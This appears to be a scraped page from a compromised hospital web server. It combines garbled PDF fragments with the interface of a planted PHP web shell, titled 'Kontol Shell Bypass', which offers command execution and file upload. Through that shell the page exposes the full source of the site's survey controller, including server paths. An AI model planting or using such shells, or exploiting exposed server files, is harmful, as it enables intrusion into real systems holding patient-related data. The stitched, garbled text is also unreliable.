%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/pdms/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/pdms/application/controllers/Survey.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Survey extends CI_Controller {
	function __construct(){
		parent::__construct();
		$this->load->model(array('Common_Model','Survey_Model'));
	}
	
	/*
	* Function : index
	*/
	public function index()
	{
		$data = array();
		$header = array();
		if($_POST){
			//print_r($_POST); die('test');
			//print_r($_POST); die('test');
		
			$this->form_validation->set_rules('full_name','Full Name','required');
			$this->form_validation->set_rules('age','Age','required');
			$this->form_validation->set_rules('gender','Gender','required');
			$this->form_validation->set_rules('location','Location','required');
			$this->form_validation->set_rules('pincode','Pincode','required');
			$this->form_validation->set_rules('contact_no','Contact No','required');
			$this->form_validation->set_rules('date','Date','required');
			if($this->form_validation->run())
			{
				$resp = $this->Survey_Model->save_answer();
				if($resp){
					redirect('survey/thanks');
				}
				//$this->input->post('survey_id')
			}
		}
		$this->load->view('_parts/header',$data);
		$this->load->view('survey-feedback',$data);
		$this->load->view('_parts/footer');
	}
	
	
	/*
	* Function : hindi
	*/
	public function hindi()
	{
		$data = array();
		$header = array();
		if($_POST){
			//print_r($_POST); die('test');
			//print_r($_POST); die('test');
		
			$this->form_validation->set_rules('full_name','Full Name','required');
			$this->form_validation->set_rules('age','Age','required');
			$this->form_validation->set_rules('gender','Gender','required');
			$this->form_validation->set_rules('location','Location','required');
			$this->form_validation->set_rules('pincode','Pincode','required');
			$this->form_validation->set_rules('contact_no','Contact No','required');
			$this->form_validation->set_rules('date','Date','required');
			if($this->form_validation->run())
			{
				$resp = $this->Survey_Model->save_answer();
				if($resp){
					redirect('survey/hindithanks');
				}
				//$this->input->post('survey_id')
			}
		}
		$this->load->view('_parts/header',$data);
		$this->load->view('hindi-survey-feedback',$data);
		$this->load->view('_parts/footer');
	}
	
	/*
	* Function : Thanks
	*
	*/
	public function thanks()
	{
		$data = array();
		$header = array();
		
		$this->load->view('_parts/header',$data);
		$this->load->view('survey-thanks',$data);
		$this->load->view('_parts/footer');
		
	}
	/*
	* Function : hindithanks
	*
	*/
	public function hindithanks()
	{
		$data = array();
		$header = array();
		
		$this->load->view('_parts/header',$data);
		$this->load->view('hindi-survey-thanks',$data);
		$this->load->view('_parts/footer');
		
	}
	
	/*
	* Function : getsurveylist
	*
	*/
	public function getsurveylist(){
		$survey_id = $this->input->post('survey_id'); 
		$results = array();
		$temp .= '';
		if($survey_id>0){
			$record = $this->Survey_Model->getSingleRecord('survey_set',' * ', array('id'=>$survey_id));
			$questionListArray = $this->Survey_Model->getAllRecords('survey_questions',' * ', array('survey_id'=>$survey_id,'status'=>'1'),array('order_by'=>'DESC'));
			if($survey_id=='4') { $i = $survey_id; } else { $i = $survey_id+1;}
			foreach($questionListArray as $row) {
				$temp .= '<li><strong>'.$i++.'. '.$row["question"].'<span style="color:#ff0000;">*</span></strong>';
				$temp .= '<div>
						<input type="hidden" name="qid[]" value="'.$row["id"].'">
						<input type="hidden" name="ques_type_'.$row["id"].'" value="'.$row["type"].'">';
						if($row['type'] == 'radio_opt'){
							$t=0;
							foreach(json_decode($row['frm_option']) as $k => $v){
								$checked = ''; if($t=='0') { $checked = ' checked="" '; }
								$otherKeyArray = explode(' || ', $v);
								$temp .='<div class="icheck-primary">
									<input type="radio" id="option_'.$k.'" name="answer['.$row['id'].']" value="'.$k.'" '.$checked.' onclick="openOtherText(\''.rtrim($otherKeyArray[0]).'\',\''.$row["id"].'\')">
									<label for="option_'.$k.'">'.$otherKeyArray[0].'</label>';
								if($otherKeyArray[0]=='Other'){
									$temp .='<span style="display:none;" id="other_'.$row["id"].'" ><input id="other_ans_'.$row["id"].'" type="text" name="other_ans_'.$row["id"].'" value="" maxlength="150" /></span>';
								}
								 $temp .='</div>';
								 $t++;
							}
						} else if($row['type'] == 'check_opt'){
							foreach(json_decode($row['frm_option']) as $k => $v){
							$temp .='<div class="icheck-primary">
									<input type="checkbox" id="option_'.$k.'" name="answer['.$row['id'].'][]" value="'.$k.'" >
									<label for="option_'.$k.'">'.$v.'</label>
								 </div>';
							}
						} else if($row['type'] == 'textfield_b'){ 
							$temp .='<div class="form-group">
							<input type="hidden" name="ans_id_'.$row["id"].'" value="'.$row["id"].'">
							'.base64_decode($row['frm_option']).'</div>';
						}
						 else{
							$temp .='<div class="form-group">
								<input type="text" name="answer['.$row['id'].']" id="" cols="30" rows="4" maxlength="150" class="form-control" placeholder="" maxlength="150">
							</div>';
						 }
						$temp .='</div></li>	';
						
			}
			
		}
			$results['response'] = $temp;
			header('Content-type: application/json');
			echo json_encode($results);
			
	   die;
	}
	
	/*
	* Function : gethindisurveylist
	*
	*/
	public function gethindisurveylist(){
		$survey_id = $this->input->post('survey_id'); 
		$results = array();
		$temp .= '';
		if($survey_id>0){
			$record = $this->Survey_Model->getSingleRecord('survey_set',' * ', array('id'=>$survey_id));
			$questionListArray = $this->Survey_Model->getAllRecords('survey_questions',' * ', array('survey_id'=>$survey_id,'status'=>'1'),array('order_by'=>'DESC'));
			if($survey_id=='4') { $i = $survey_id; } else { $i = $survey_id+1;}
			foreach($questionListArray as $row) {
				$temp .= '<li><strong>'.$i++.'. '.$row["hindi_question"].'<span style="color:#ff0000;">*</span></strong>';
				$temp .= '<div>
						<input type="hidden" name="qid[]" value="'.$row["id"].'">
						<input type="hidden" name="ques_type_'.$row["id"].'" value="'.$row["type"].'">';
						if($row['type'] == 'radio_opt'){
							$t=0;
							foreach(json_decode($row['frm_option']) as $k => $v){
								$checked = ''; if($t=='0') { $checked = ' checked="" '; }
								$otherKeyArray = explode(' || ', $v);
								$temp .='<div class="icheck-primary">
									<input type="radio" id="option_'.$k.'" name="answer['.$row['id'].']" value="'.$k.'" '.$checked.' onclick="openOtherText(\''.rtrim($otherKeyArray[0]).'\',\''.$row["id"].'\')">
									<label for="option_'.$k.'">'.$otherKeyArray[1].'</label>';
								if($otherKeyArray[0]=='Other'){
									$temp .='<span style="display:none;" id="other_'.$row["id"].'" ><input id="other_ans_'.$row["id"].'" type="text" name="other_ans_'.$row["id"].'" value="" maxlength="150" /></span>';
								}
								 $temp .='</div>';
								 $t++;
							}
						} else if($row['type'] == 'check_opt'){
							foreach(json_decode($row['frm_option']) as $k => $v){
							$temp .='<div class="icheck-primary">
									<input type="checkbox" id="option_'.$k.'" name="answer['.$row['id'].'][]" value="'.$k.'" >
									<label for="option_'.$k.'">'.$v.'</label>
								 </div>';
							}
						} else if($row['type'] == 'textfield_b'){ 
							$temp .='<div class="form-group">
							<input type="hidden" name="ans_id_'.$row["id"].'" value="'.$row["id"].'">
							'.base64_decode($row['frm_hindi_option']).'</div>';
						}
						 else{
							$temp .='<div class="form-group">
								<input type="text" name="answer['.$row['id'].']" id="" cols="30" rows="4" class="form-control" placeholder="यहाँ कुछ लिखें......." maxlength="150">
							</div>';
						 }
						$temp .='</div></li>	';
						
			}
			
		}
			$results['response'] = $temp;
			header('Content-type: application/json');
			echo json_encode($results);
			
	   die;
	}
}	

Kontol Shell Bypass